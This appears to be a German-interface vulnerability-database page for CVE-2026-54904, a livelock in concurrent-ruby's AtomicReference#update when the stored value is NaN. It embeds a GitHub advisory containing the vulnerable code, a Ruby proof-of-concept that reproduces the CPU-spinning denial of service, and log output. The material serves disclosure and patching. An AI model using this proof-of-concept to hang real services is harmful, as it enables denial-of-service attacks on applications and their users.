CVE-2026-54904
highPriorität · verfolgen · 30EPSS 0.007 · 52. PerzentilDEEURUUSEPSS · bewertet 2026-10-27
concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds; Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 4.6–8.2
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (6)
Betroffene Produkte und Versionsbereiche.
- rubyconcurrency concurrent ruby< 1.3.7nvdUScpe:2.3:a:rubyconcurrency:concurrent_ruby:*:*:*:*:*:*:*:*
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2408HCL BigFix: Schwachstelle ermöglicht Denial of ServiceDeutsch2026-07-19csaf · cert_bundDE
Ein lokaler Angreifer kann eine Schwachstelle in HCL BigFix ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-h8w8-99g7-qmvjConcurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`2026-06-19ghsa · osvUS
### Summary `Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`. The issue is caused by the interaction between: - `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds. - Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap. - Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`. As a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs. ### Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab ### Details `AtomicReference#update` retries until `compare_and_set` returns true: ```ruby def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value end ``` For numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set: ```ruby def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end end ``` When the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever. This is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior. ### PoC ```ruby #!/usr/bin/env ruby # frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}" ``` ### Log evidence ```text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0 ``` ### Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))
auch bekannt als (4)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (9)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvjcnnvd
- https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386enisa_euvd
- https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7enisa_euvd
- https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvjenisa_euvd
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.ymlenisa_euvd
- https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386nvd
- https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7nvd
- https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvjExploitThird Party Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan